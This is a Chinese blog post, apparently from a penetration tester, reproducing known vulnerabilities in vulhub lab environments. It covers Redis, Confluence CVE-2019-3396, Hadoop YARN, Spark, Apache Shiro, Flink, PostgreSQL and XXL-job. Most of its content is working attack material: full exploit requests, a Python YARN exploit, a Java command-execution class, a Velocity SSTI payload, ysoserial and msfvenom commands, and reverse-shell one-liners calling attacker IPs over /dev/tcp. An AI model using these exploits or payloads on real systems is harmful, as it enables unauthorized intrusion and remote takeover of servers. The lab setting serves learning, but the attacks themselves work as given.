热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

新人入职之漏洞复现

失踪人口回归,前段时间兄弟们hw的hw,比赛的比赛,换工作的换工作,所以任性断更了,后面会慢慢恢复更新的,话不多说,今天分享一下新入职的学习

本文目录

0x00 概述

0x01 Redis
    1.1 redis主从复制
    1.2 写公钥登录ssh
        踩坑
    1.3 写corntab反弹shell
        踩坑
    1.4 找绝对路径写webshell
0x02 Confluence远程代码执行漏洞(CVE-2019-3396)
    2.1 文件读取
    2.2 模板注入RCE
    踩坑
0x03 Hadoop Yarn未授权访问
0x04 Spark REST API未授权访问
    4.1 利用 REST API提交应用
    踩坑
0x05 Apache Shiro反序列化
    5.1 反弹shell
    5.2 写文件
    5.3 回显
0x06 Apache flink后台未授权
0x07 PostgreSQL未授权
0x08 XXL-job executor未授权
    8.1 未授权RCE
    8.2 后台操作
        踩坑

End!!!!

0x00 概述

  失踪人口回归,前段时间兄弟们hw的hw,比赛的比赛,换工作的换工作,所以任性断更了,后面会慢慢恢复更新的,话不多说,今天分享一下新入职的学习内容,漏洞案例复现,由于有一些环境以前比较少碰到,就写个文章分享记录一下。篇幅教长,建议根据目录查看自己感兴趣的即可。

0x01 Redis

当我们遇到Redis服务器时,常见的有以下几种获取权限方法:

1.1 Redis主从复制

原理参考连接:https://paper.seebug.org/975/

Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。Redis(<=5.0.5) RCE
靶场地址:https://github.com/vulhub/redis-rogue-getshell
利用步骤

1.下载利用脚本:
wget https://github.com/n0b0dyCN/redis-rogue-server/archive/refs/heads/master.zip
unzip master.zip


2.编译利用脚本
cd /redis-rogue-getshell-master/RedisModulesSD
make
编译之后,会在/RedisModulesSD/目录下生成exp.so利用文件


3.返回上一层,执行命令
python3 redis-master.py -r 42.194.198.77 -p 6379 -L 47.100.90.179 -f RedisModulesSDK/exp.so -c "whoami"

执行命令:

当前redis服务为redis账户启动的:



1.2 写公钥登录ssh

条件

1、Redis服务以root权限启动。

2、目标服务器开启ssh服务,并且需要允许使用密钥登录

漏洞环境

docker pull foxyuhub/redis:keygen
docker run -dit --name=redis -p 6379:6379 -p 66:22 foxyuhub/redis:keygen /bin/bash

漏洞复现

1. 事先先准备好自己的公钥,写入一个本地文件key.txt

cd ~/.ssh
ssh-keygen #生成私钥和公钥
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

注意:如果是自己的VPS,建议把公钥里面最后的用户名和机器名删掉,前面的不能改动。

2. 通过redis将该文件写入内存

redis-cli -h 42.194.198.77 flushall
cat key.txt | redis-cli -h 42.194.198.77 -x set crackit

3. 利用redis-cli 写入配置的方式将公钥写入到.ssh目录下

redis-cli -h 42.194.198.77
42.194.198.77:6379> config set dir /root/.ssh/
OK
42.194.198.77:6379> config get dir
1) "dir"
2) "/root/.ssh"
42.194.198.77:6379> config set dbfilename "authorized_keys"
OK
42.194.198.77:6379> save
OK

查看目标机器,已经成功写入authorized_keys文件:

4.公钥登陆

ssh -p 66 root@42.194.198.77

成功登录到docker中。

踩坑

直接从redis官网下载的镜像中,redis服务默认是以redis用户权限启动的,因此在写密钥的时候是无法写入的,会出现以下报错:

无法写入,查看docker中redis进程的权限:

redis权限,因此无法写入密钥文件。



1.3 写corntab反弹shell

条件

Redis服务使用root账号启动。(使用普通账号需要知道该账户名,才可以写到该账户下的corntab)。

漏洞环境

docker pull foxyuhub/redis:cron
docker run -dit --name=redis -p 6379:6379 foxyuhub/redis:cron /bin/bash

漏洞利用

连接靶机Redis:redis-cli -h ip

redis-cli -h 42.194.198.77
>info #查看系统信息

执行以下命令:

set x "\n* * * * * bash -i >& /dev/tcp/47.100.90.179/9999 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

然后退出,监听本地的9999端口:

成功拿到靶机的权限。

踩坑

1. redis权限不够
2. 目标不是centos系列系统
注意,写计划任务的时候要确定目标主机是什么系统:

Redhat系,基于Redhat GNU/Linux:Redhat、Centos、Fedora
Debian系,基于Debian GNU/Linux:Debian、Ubuntu、Kali

像Centos的计划任务就是写到:/var/spool/cron/路径下的root文件,如上的代码。
想Ubuntu的计划任务就是写到:/var/spool/cron/crontabs/路径下的root文件。代码如下:

但是实验测试Ubuntu系统时无法成功,计划任务前面不能出现其他乱码,但通过redis写文件总是会有一些无用数据,因此写入之后无法正常执行定时任务。



1.4 找绝对路径写webshell

当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell,该方法还是利用redis的写文件功能,需要知道web目录。执行以下命令。

config set dir /var/www/html/
config set dbfilename shell.php
set x ""
save

其中/var/www/html/为web目录,替换为实际的目录即可



0x02. Confluence远程代码执行漏洞(CVE-2019-3396)

漏洞详情:Atlassian Confluence是企业广泛使用的wiki系统,其6.14.2版本前存在一处未授权的目录穿越漏洞,通过该漏洞,攻击者可以读取任意文件,或利用Velocity模板注入执行任意命令。

漏洞影响版本:6.14.2
漏洞靶机环境:https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2019-3396
靶机IP:42.194.198.77
攻击IP:47.100.90.179

环境搭建:配置环境,在浏览器打开http://VPS:8090 进入安装引导,选择“Trial installation”,之后会要求填写license key。点击“Get an evaluation license”,去Atlassian官方申请一个Confluence Server 的测试证书(不要选择Data Center和Addons),这里提供已经申请好的license key:

AAABQw0ODAoPeNp1kFFrwjAUhd/zKwJ72R4ibXVqhcI07aajtWLd2MNeYrntAm0qaSL675c2E7exQR6Sc8J3zz03j5LjZ11hb4wdd+aZ42Aa7rDnuD6ijVAsV2tWQ6CYKGstNX8oa8arQd7UKG9EMTAf+NH4UgPaaJl/sBZCpiDoEMSZEG+MYp6DaCE6Hbg8fzOnxLu/TIkSg/1zTAbyCHIVBovFZELodvlE0vloQ/zR29JmMEhGQSiQNkem920u+UHxRljFwI0tmMj/SdFz1rreg0yLlxZkGxDXqpliskMXrGrhsouJE6/CLFqT2B36U8cfjpF5BT+VVJZM8Jb1QU5aFCBKRCX0wu+W+mFf+N35AH3vNE2SaEtX8xhV1no12Tqch0K4bmlaLCoNZj9829WBbR937zMcHVml+4noerW1fAJcbqnMMCwCFE/fa4LjnfCqQ1Hy5OCWZ72GDUKkAhQKri7+MDexgSKxdR82iMniZTblfQ==X02g4

然后点击Next安装即可。这一步小内存VPS可能安装失败或时间较长(建议使用4G内存以上的机器进行安装与测试),请耐心等待。如果提示填写cluster node,路径填写/home/confluence即可。

后续要求你填写数据库账号密码,选择postgres数据库,地址为db,账号密码均为postgres:


2.1 文件读取

漏洞影响版本:6.14.2

发送如下数据包,即可读取文件web.xml:

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://localhost:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 176


{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}}

6.12以前的Confluence没有限制文件读取的协议和路径,我们可以使用file:///etc/passwd来读取文件,也可以通过https加载远程文件


PS:漏洞分析文章:https://paper.seebug.org/884/


2.2 模板注入RCE

漏洞影响版本:6.9.0

通过模板注入(SSTI)来执行任意命令:

利用脚本地址为:https://raw.githubusercontent.com/Yt1g3r/CVE-2019-3396_EXP/master/cmd.vm

#set ($e="exp")
#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))
#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $e.getClass().forName("java.util.Scanner"))
#set($cOnstructor= $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\\\A"))
#if($scan.hasNext())
$scan.next()
#end

其他EXP:https://www.freebuf.com/column/200320.html

1.包含远程文件执行远程命令,获取java版本号:

2.执行命令:

踩坑

1、远程模板注入执行命令可能只支持https协议,不支持http。



3. Hadoop Yarn未授权访问

简介:Apache Hadoop YARN是Hadoop的核心组件之一,负责将资源分配在Hadoop集群中运行的各种应用程序,并调度要在不同集群节点上执行的任务。(独立出来的资源管理框架,负责资源管理和调度。)

漏洞成因:负责对资源进行统一管理调度的ReasourceManager组件的UI管理界面开放在8080/8088端口,攻击者无需认证即可通过REST API部署任务来执行任意命令,最终可完全控制集群中所有的机器。

漏洞环境:https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn

漏洞利用脚本:

#!/usr/bin/env python


import requests


target = 'http://42.194.198.77:8088/'
lhost = '47.100.90.179' # put your local host ip here, and listen at port 9999


url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)

首先在攻击机器上监听9999端口:

执行完成,nc已经接收到shell:



4. Spark REST API未授权访问

简介

     Apache Spark是一款集群计算系统,其支持用户向管理节点提交应用,并分发给集群执行。如果管理节点为实现访问控制,就可以在集群中执行任意代码
漏洞环境

https://github.com/vulhub/vulhub/tree/master/spark/unacc

漏洞利用

该漏洞的本质是未授权用户可以向管理节点提交一个应用,这个应用实际上是恶意代码。应用可以是Java或Python,就是一个简单的类,如:

import java.io.BufferedReader;
import java.io.InputStreamReader;
public class Exploit
{
public static void main(String[] args) throws Exception
{
String[] cmds = args[0].split(",");
for(String cmd: cmds)
{
System.out.println(cmd);
System.out.println(executeCommand(cmd.trim()));
System.out.println("==============================================");
}
}
private static String executeCommand(String command)
{
StringBuilder output = new StringBuilder();
try
{
Process p = Runtime.getRuntime().exec(command);
p.waitFor();
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while((line = reader.readLine()) != null)
{
output.append(line).append("\n");
}
}
catch(Exception e)
{
e.printStackTrace();
}
return output.toString();
}
}

将上面的代码保存为Exploit.java,编译成spark.jar后放到VPS上,使用python开启一个web服务。

也可以用别人生成好的jar:

https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar

利用 REST API提交应用

在standalone模式下,master将在6066端口启动一个HTTP服务器,我们向这个端口提交REST格式的API:

POST /v1/submissions/create HTTP/1.1
Host: 42.194.198.77:6066
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 600


{
"action": "CreateSubmissionRequest",
"clientSparkVersion": "2.3.1",
"appArgs": [
"whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf"
],
"appResource": "http://47.100.90.179:8080/spark.jar",
"environmentVariables": {
"SPARK_ENV_LOADED": "1"
},
"mainClass": "Exploit",
"sparkProperties": {
"spark.jars": "http://47.100.90.179:8080/spark.jar",
"spark.driver.supervise": "false",
"spark.app.name": "Exploit",
"spark.eventLog.enabled": "true",
"spark.submit.deployMode": "cluster",
"spark.master": "spark://42.194.198.77:6066"
}
}

参数:

  • clientSparkVersion 填spark版本号,直接访问目标网站即可得到

  • appResource 利用脚本Exploit.jar

  • spark.master 填目标ip,目标服务器的master服务

注意:必须添加Accept-Encoding: gzip, deflate这个header头


提交成功,返回一个submissionId,将submissionId替换到以下URL,然后访问URL:

http://42.194.198.77:8081/logPage/?driverId=driver-20210426082413-0000&logType=stdout

即可查看执行结果:

提交应用会在首页生成记录如下:

踩坑

在生成jar包的时候,一开始是直接使用以下命令去生成的:

javac Exploit.java
jar cvf Exploit.jar Exploit.class

但是发现一直无法执行命令,对比下网上的jar,发现以下不同:

无法列出主类,因此一直无法利用成功,之后使用IDEA进行打包,即可利用成功。



5. Apache Shiro反序列化

原理

Apache Shiro默认使用了COOKIERememberMeManager,其处理COOKIE的流程是:得到rememberMe的COOKIE值 => Base64解码 => AES解密 =>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

漏洞环境

https://github.com/vulhub/vulhub/tree/master/shiro/CVE-2016-4437

5.1.反弹shell

首先还是抓登录包,判断是否有 rememberMe=deleteMe;

第一步,先生成一个COOKIE:

python shiro2-remember-me.py 42.194.198.77:80

第二步,使用ysoserial-0.0.5-SNAPSHOT-all.jar监听

java -cp ysoserial-0.0.5-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 80 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDYuMTIuMTgwLjE1Mi80NDMgMD4mMQ==}|{base64,-d}|{bash,-i}'


java -cp ysoserial-0.0.5-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 80 CommonsCollections5 'whoami'


java -cp ysoserial-0.0.5-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 80 CommonsBeanutils1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Mi4xOTQuMTk4Ljc3LzQ0MyAwPiYx}|{base64,-d}|{bash,-i}'

注意

1、这里监听的端口要和第一步的为同一个端口(建议使用正常端口如:80、443、8080)

2、生成命令:

bash -i >& /dev/tcp/106.12.180.152/443 0>&1

第三步,再打开一个窗口,用nc监听反弹端口,也就是上面base64编码中的443端口

第四步,发送第一步生成的COOKIE

ysoserial-0.0.5-SNAPSHOT-all.jar成功获取到数据:

nc成功接收到shell:



5.2.写文件

自动查找目录写文件,搜索1.js所在文件夹路径,将id,pwd,hostname的结果写在js/test1.txt中:

find . -type f -name 1.js|while read f;do sh -c 'id;pwd;hostname;/sbin/ifconfig' >$(dirname $f)/test.txt;done

之后访问:url/js/test1.txt,即可得到网络路径,写入shell即可。



5.3.回显

当然现在已经有直接利用的工具,但我了解到的利用思路大致就是以上这三种。遇到有waf的需要先判断是内容检测还是长度检测。



6. Apache flink后台未授权

简介

     Apache Flink的任意Jar包上传导致远程代码执行(CVE-2020-17518)、文件读取(CVE-2020-17519)

漏洞环境

https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518

漏洞复现

使用msf生成恶意jar包,上传:

msfvenom -p java/meterpreter/reverse_tcp LHOST=47.100.90.179 LPORT=4444 -f jar > testone.jar

设置监听:

成功监听之后,提交第一步上传的jar包:

成功反回flink服务器的shell。



7. PostgreSQL未授权

简介

      从9.3 版本开始,PostgreSQL实现了“COPY TO/FROM PROGRAM”这个新的功能,它允许数据库的超级用户以及“pg_read_server_files”组用户执行任意的操作系统命令。这意味着在数据库超级用户角色与运行此数据库的操作系统用户角色之间没有进行适当的权限的分离。

漏洞环境

https://github.com/vulhub/vulhub/tree/master/postgres/CVE-2019-9193

环境启动后,将开启Postgres默认的5432端口

默认账号密码为postgres/postgres。

DROP TABLE IF EXISTS cmd_exec; #删除你想用来保存命令输出但是可能存在的表
CREATE TABLE cmd_exec(cmd_output text); #创建你用来保存命令输出的表
COPY cmd_exec FROM PROGRAM 'id' #通过 “COPY FROM PROGRAM”执行系统命令
SELECT * FROM cmd_exec; #查看执行结果
DROP TABLE IF EXISTS cmd_exec; #清除痕迹

需要说明的是,命令中的任何单引号都必须通过双引号来转义它们。

你需要把上述命令用单引号包围并将命令中包含的单引号用双引号替换:

成功执行命令。



8. XXL-job executor未授权

简介

   XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。XXL-JOB分为admin和executor两端,前者为后台管理页面,后者是任务执行的客户端。executor默认没有配置认证,未授权的攻击者可以通过RESTful API执行任意命令。
漏洞环境

https://github.com/vulhub/vulhub/tree/master/xxl-job/unacc

靶机地址

42.194.198.77:8080(管理端),42.194.198.77:9999(客户端)

启动好后访问:vps:8080/xxl-job-admin/ (要带 /xxl-job-admin 路径)

默认账号密码 admin 123456

8.1 未授权RCE

向客户端(executor)发送如下数据包,即可执行命令:

POST /run HTTP/1.1
Host: 42.194.198.77:9999
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Content-Type: application/json
Content-Length: 368
Connection: close
Upgrade-Insecure-Requests: 1


{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_SHELL",
"glueSource": "touch /tmp/success123",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}

发送成功,查看容器里面命令是否执行成功:


成功执行命令,在/tmp目录下创建了success123文件。

8.2 后台操作

登录后台,默认账号密码 admin 123456


注意运行模式需要为 GLUE(shell)

编写shell脚本:

这是脚本里面的默认密码,将其修改为反弹shell或任何我们想执行的命令:

反弹shell命令:

点击操作,执行一次,不需要输入其他,点击保存

成功获取shell

踩坑

执行任务的时候,如果没有输入机器地址,默认是对所有机器,如果要指定客户端执行,可以输入客户端IP,需要加上http或者https,执行器默认端口为9999:

如果直接输入客户端IP,会调度失败,日志如下:




如文章有错误不对的地方,请在"公众号留言",欢迎各位师傅一起学习交流。祝各位师傅升职加薪、洞洞高危。



推荐阅读
  • 如何用UE4制作2D游戏文档——计算篇
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了如何用UE4制作2D游戏文档——计算篇相关的知识,希望对你有一定的参考价值。 ... [详细]
  • 如何在服务器主机上实现文件共享的方法和工具
    本文介绍了在服务器主机上实现文件共享的方法和工具,包括Linux主机和Windows主机的文件传输方式,Web运维和FTP/SFTP客户端运维两种方式,以及使用WinSCP工具将文件上传至Linux云服务器的操作方法。此外,还介绍了在迁移过程中需要安装迁移Agent并输入目的端服务器所在华为云的AK/SK,以及主机迁移服务会收集的源端服务器信息。 ... [详细]
  • flowable工作流 流程变量_信也科技工作流平台的技术实践
    1背景随着公司业务发展及内部业务流程诉求的增长,目前信息化系统不能够很好满足期望,主要体现如下:目前OA流程引擎无法满足企业特定业务流程需求,且移动端体 ... [详细]
  • Activiti7流程定义开发笔记
    本文介绍了Activiti7流程定义的开发笔记,包括流程定义的概念、使用activiti-explorer和activiti-eclipse-designer进行建模的方式,以及生成流程图的方法。还介绍了流程定义部署的概念和步骤,包括将bpmn和png文件添加部署到activiti数据库中的方法,以及使用ZIP包进行部署的方式。同时还提到了activiti.cfg.xml文件的作用。 ... [详细]
  • Tomcat安装与配置教程及常见问题解决方法
    本文介绍了Tomcat的安装与配置教程,包括jdk版本的选择、域名解析、war文件的部署和访问、常见问题的解决方法等。其中涉及到的问题包括403问题、数据库连接问题、1130错误、2003错误、Java Runtime版本不兼容问题以及502错误等。最后还提到了项目的前后端连接代码的配置。通过本文的指导,读者可以顺利完成Tomcat的安装与配置,并解决常见的问题。 ... [详细]
  • Django + Ansible 主机管理(有源码)
    本文给大家介绍如何利用DjangoAnsible进行Web项目管理。Django介绍一个可以使Web开发工作愉快并且高效的Web开发框架,能够以最小的代价构建和维护高 ... [详细]
  • 一、Struts2是一个基于MVC设计模式的Web应用框架在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts2优点1、实现 ... [详细]
  • 什么是大数据lambda架构
    一、什么是Lambda架构Lambda架构由Storm的作者[NathanMarz]提出,根据维基百科的定义,Lambda架构的设计是为了在处理大规模数 ... [详细]
  • Android日历提醒软件开源项目分享及使用教程
    本文介绍了一款名为Android日历提醒软件的开源项目,作者分享了该项目的代码和使用教程,并提供了GitHub项目地址。文章详细介绍了该软件的主界面风格、日程信息的分类查看功能,以及添加日程提醒和查看详情的界面。同时,作者还提醒了读者在使用过程中可能遇到的Android6.0权限问题,并提供了解决方法。 ... [详细]
  • 目录浏览漏洞与目录遍历漏洞的危害及修复方法
    本文讨论了目录浏览漏洞与目录遍历漏洞的危害,包括网站结构暴露、隐秘文件访问等。同时介绍了检测方法,如使用漏洞扫描器和搜索关键词。最后提供了针对常见中间件的修复方式,包括关闭目录浏览功能。对于保护网站安全具有一定的参考价值。 ... [详细]
  • hadoop1.2.1文档中这样写:Nowcheckthatyoucansshtothelocalhostwithoutapassphrase:$sshlocalhostIfyou ... [详细]
  • 本文由编程笔记#小编为大家整理,主要介绍了markdown[软件代理设置]相关的知识,希望对你有一定的参考价值。 ... [详细]
  • 现在比较流行使用静态网站生成器来搭建网站,博客产品着陆页微信转发页面等。但每次都需要对服务器进行配置,也是一个重复但繁琐的工作。使用DockerWeb,只需5分钟就能搭建一个基于D ... [详细]
  • Linux一键安装web环境全攻略
    摘自阿里云服务器官网,此处一键安装包下载:点此下载安装须知1、此安装包可在阿里云所有Linux系统上部署安装,此安装包包含的软件及版本为& ... [详细]
  • Java程序员必会的40个Linux命令!
    你知道的越多,不知道的就越多,业余的像一棵小草!你来,我们一起精进!你不来,我和你的竞争对手一起 ... [详细]
author-avatar
初始化
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有